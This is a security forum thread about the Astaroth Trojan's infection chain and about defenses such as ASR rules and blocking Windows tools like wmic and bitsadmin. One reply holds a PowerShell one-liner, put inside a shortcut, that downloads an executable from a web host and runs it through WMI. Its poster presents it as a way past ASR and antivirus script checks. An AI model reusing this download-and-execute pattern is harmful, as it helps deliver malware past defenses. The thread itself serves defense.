Solarquest

Moderator
Staff member
Malware Hunter
Verified
Astaroth disguises itself as image and GIF files to infect PCs.

A new strain of the Astaroth Trojan has been given the capability to exploit vulnerable processes in antivirus software and services.
Cybereason's Nocturnus Research team said in a blog post published on Wednesday that the variant is able to utilize modules in cybersecurity software in order to steal online credentials and personal data.
In its latest form, Astaroth is being used in spam campaigns across Brazil and Europe, with thousands of infections recorded at the end of 2018. The malware spreads through .7zip file attachments and malicious links.
The cybersecurity researchers said the Trojan masquerades as a JPEG, .GIF, or an extensionless file to avoid detection when executed on a machine.
If a spam email or phishing messages prove successful and the file is downloaded and opened, the legitimate Microsoft Windows BITSAdmin tool is used to download the full payload from a command-and-control (C2) server.

After initializing, the malware launches an XSL script which establishes a channel with the C2 server. The script, which is obfuscated, contains functions to hide itself from antivirus software and is responsible for the process which leverages BITSAdmin to download payloads, including Astaroth, from a separate C2 server.
Past variants of the Trojan would then launch a scan to find antivirus programs, and should Avast, in particular, be present on an infected system, the malware would simply quit. However, Astaroth will now abuse the antivirus program to "inject a malicious module into one of its processes," according to the researchers.

If Avast is detected, the Avast Software Runtime Dynamic Link Library which runs modules for Avast, aswrundll.exe, is abused. The executable -- which is similar to Microsoft's rundll32.exe -- can execute DLLs by calling their exported functions.

....
...
 

devjit2018

Level 6
Another perfect example of how malware is evolving and becoming sophisticated and why users should be taught about safe surfing habits and be given security knowledge. :confused:
Another reason to create a HIPS and Firewall rule in my ESET IS to monitor the execution of bitsadmin. :p
 

Andy Ful

Level 38
Content Creator
Trusted
Verified
Another perfect example of how malware is evolving and becoming sophisticated and why users should be taught about safe surfing habits and be given security knowledge. :confused:
Another reason to create a HIPS and Firewall rule in my ESET IS to monitor the execution of bitsadmin. :p
You can simply block it.(y)
But it would be even better to block shortcuts (.lnk) in the Download folder or wmic.exe (Windows tool), because the infection chain starts from the shortcut, that runs wmic.exe to download the scriptlet which can execute bitsadmin.exe and some other Windows tools. Those tools can download and inject the final payload.
 
Last edited:

notabot

Level 8
I know. Syshardener simply helps makes those rules easier for those not tech savy enough.

What I'm asking is whether that would be enough to mitigate the threat?
I wonder if there is a threat in the first place when active content is disabled for the email client or/and ASR rule for outlook is switched on / child processes are blocked via Exploit Guard ;) unless they also apply exploits to bypass the above I’d imagine the answer is no
 

Andy Ful

Level 38
Content Creator
Trusted
Verified
How does the execution even start though ? Does it work only for email clients that have active content enabled and there’s no behavioral blocking rule for child processes? I’d assume so, unless they also use an exploit to bypass native security mechanisms
Child processes of what? :emoji_thinking:
This malware does not run any installed application, but directly execute wmic.exe when the user clicked on the shortcut.
 

Andy Ful

Level 38
Content Creator
Trusted
Verified
I wonder if there is a threat in the first place when active content is disabled for the email client or/and ASR rule for outlook is switched on / child processes are blocked via Exploit Guard ;) unless they also apply exploits to bypass the above I’d imagine the answer is no
Now you know the truth. :giggle:
Sadly, the user will bypass all of them by simply clicking the shortcut.:(
By the way, that is also a bypass for most of SRP setups, except when someone knows how to block safely the shortcuts.
 

upnorth

Level 28
Content Creator
Trusted
Verified
As with many traditional campaigns, this campaign begins with a .7zip file that gets downloaded to the user machine through a mail attachment or a mistakenly-pressed hyperlink. The downloaded .7zip file contains a .lnk file that, once pressed, initializes the malware. Upon initialization, a process spawns that uses the legitimate wmic.exe to initialize an XSL Script Processing attack. This attack allowed the malware to communicate with a remote C2 server and sent information like location information about the infected machine to the remote server. The remote XSL script contains highly obfuscated code that is able to execute additional malicious activity. It uses several functions to hide its activities from antivirus defenses and researchers. This script is ultimately responsible for the malicious use of BITSAdmin to download the attackers payload to the target from a separate C2 server. The payload files are masqueraded as JPEGs, GIFs, and extensionless files, and contain the Astaroth Trojan modules.

Full analysis here.
 

notabot

Level 8
Now you know the truth. :giggle:
Sadly, the user will bypass all of them by simply clicking the shortcut.:(
By the way, that is also a bypass for most of SRP setups, except when someone knows how to block safely the shortcuts.
Protecting people from themselves is always hard :)

Though to be fair, anyone could fall for something like this if it’s part of a well crafted spear phishing email
 

Andy Ful

Level 38
Content Creator
Trusted
Verified
I know. Syshardener simply helps makes those rules easier for those not tech savy enough.

What I'm asking is whether that would be enough to mitigate the threat?
NVT SysHardener, NVT OSA, and H_C will block this malware.
The malware can be improved by using PowerShell to bypass the firewall rules, and then it could bypass SysHardener.
Windows Defender ASR can stop this malware (blocked execution of wmic.exe).
 

notabot

Level 8
NVT SysHardener, NVT OSA, and H_C will block this malware.
The malware can be improved by using PowerShell to bypass the firewall rules, and then it could bypass SysHardener.
Windows Defender ASR can stop this malware (blocked execution of wmic.exe).
I wonder if ASR is actually sufficient and there’s no need to block the lolbins (assuming no ASR bypass exploit). It would massively simplify policies & their maintenance, as there’s plenty of lolbins and blocking all of them could also impact the system
 

Andy Ful

Level 38
Content Creator
Trusted
Verified
I wonder if ASR is actually sufficient and there’s no need to block the lolbins (assuming no ASR bypass exploit). It would massively simplify policies & their maintenance, as there’s plenty of lolbins and blocking all of them could also impact the system
It is sufficient for this malware and some more. But WD ASR can be possibly bypassed on Windows Home and Pro by PowerShell, for example:
Code:
powershell Import-Module bitstransfer;Start-BitsTransfer 'https://kcsoftwares.com/files/sumo_lite.exe' $home\Downloads\sumo_lite.exe;$filepath = $HOME + '\Downloads\sumo_lite.exe'; Invoke-WmiMethod -class win32_Process -Name Create -ArgumentList $filepath
Create the shortcut with this command and click the shortcut. It should download and execute the known & legal & useful SUMo installer. This should also bypass most AVs (anti-script modules).
The SUMo webpage:
 

bribon77

Level 24
Verified

Full analysis here.
I think the most effective thing would be a sandbox..... Astaroth can't help it.
or if it can?:emoji_thinking: